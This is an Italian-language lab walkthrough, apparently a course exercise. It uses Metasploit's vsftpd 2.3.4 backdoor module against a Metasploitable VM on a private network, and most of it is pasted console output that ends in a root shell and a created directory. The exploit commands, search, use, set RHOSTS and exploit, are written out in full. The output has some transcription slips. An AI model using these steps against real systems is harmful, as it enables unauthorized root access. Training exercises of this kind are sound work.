

# Hacking con Metasploit

**Obiettivo:** completare una sessione di hacking sul servizio "vsftpd" della macchina Metasploitable.

Configuriamo l'ambiente virtuale sulla rete 192.168.1.0/24.

Affidiamo alla macchina Kali l'IP: 192.168.1.150, mentre la nostra macchina target Metasploitable avrà IP 192.168.1.149.

Dopo aver configurato la nostra rete, tramite terminale Kali avviamo Metasploit con il comando ‘msfconsole’.

La vulnerabilità individuata si trova al servizio `ftps` alla porta 21. Dunque ricerchiamo l'exploit che può sfruttare questa vulnerabilità tramite comando 'search' '`sftpd`'.

```
kali-linux-2023.5-virtualbox-amd64 (before certificate1) [in esecuzione] - Oracle VirtualBox
File Macchina Visualizza Inserimento Dispositivi Aiuto

Session Actions Edit View Help

[(kali㉿kali)-~]
$ msfconsole
Metasploit tip: Stop all background jobs quickly with Jobs -K

[...]
Metasploit v6.4.1.03-dev
+ -- --[ 2,584 exploits - 1,319 auxiliary - 1,697 payloads
+ -- --[ 434 post - 49 encoders - 14 nops - 9 evasion

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > search sftp
Matching Modules

# Name Disclosure Date Rank Check Description
- auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of Service
I exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > options
[-] Unknown command: options*. Did you mean options? Run the help command for more details.
```

**Utilizziamo il modulo 1 exploit/unix/ftp/vsftpd\_234\_backdoor**

```
[*] Session Actions Edit View Help
msf > use l
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > options
[-] Unknown command: options*. Did you mean options? Run the help command for more details.
[-] msf exploit(unix/ftp/vsftpd_234_backdoor) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
 Name  Current Setting  Required  Description
 ----  --  --  --
 CHOST  no  The local client address
 CPORT  no  The local client port
 Proxies  no  A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http
 RHOSTS  yes  The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
 RPORT  21  yes  The target port (TCP)

Exploit target:

 Id  Name
 --  --
 0  Automatic

View the full module info with the info, or info -d command.

msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf exploit(unix/ftp/vsftpd_234_backdoor) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
 Name  Current Setting  Required  Description
 ----  --  --  --
 CHOST  no  The local client address
 CPORT  no  The local client port
 Proxies  no  A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http
 RHOSTS  192.168.1.149  yes  The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
 RPORT  21  yes  The target port (TCP)

Exploit target:

 Id  Name
 --  --
 0  Automatic

View the full module info with the info, or info -d command.
```

Inseriamo l'host della macchina target tramite comando set RHOSTS 192.168.1.149

Ricerchiamo il payloads che vogliamo lanciare, in questo caso ne troviamo uno soltanto e possiamo procedere direttamente con il comando exploit per raggiungere la macchina target e creare la sessione.

```
kali@kali: ~
```

```
Session Actions Edit View Help
msf auxiliary(dos/ftp/vsftpd_232) > search sftpd
Matching Modules
=====
# Name Disclosure Date Rank Check Description
# auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of Service
# exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf auxiliary(dos/ftp/vsftpd_232) > use 1
[*] Using configured payload cmd/unix/reverse
msf exploit(unix/ftp/vsftpd_234_backdoor) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
RHOSTS 192.168.1.149 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)

Exploit target:
Id Name
—
0 Automatic

View the full module info with the info, or info -d command.

msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] Exploit running as background job 221 (vsftpd_234).
[*] 192.168.1.149:21 - User: 31. Please specify the password.
[*] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.150:40967 → 192.168.1.149:6200) at 2026-01-20 08:32:52 -0500

/
sh: line 6: /: is a directory
pwd
/
cd /
mkdir/test_metaspl
sh: line 9: mkdir/test_metaspl: No such file or directory
pwd
/
mkdir test_metaspl
mkdir: cannot create directory `test_metaspl': File exists
cd /test_metaspl
|
```

Dopo aver creato la sessione ed essere quindi entrati nella macchina creiamo una cartella con il comando `mkdir 'test_metaspl'`.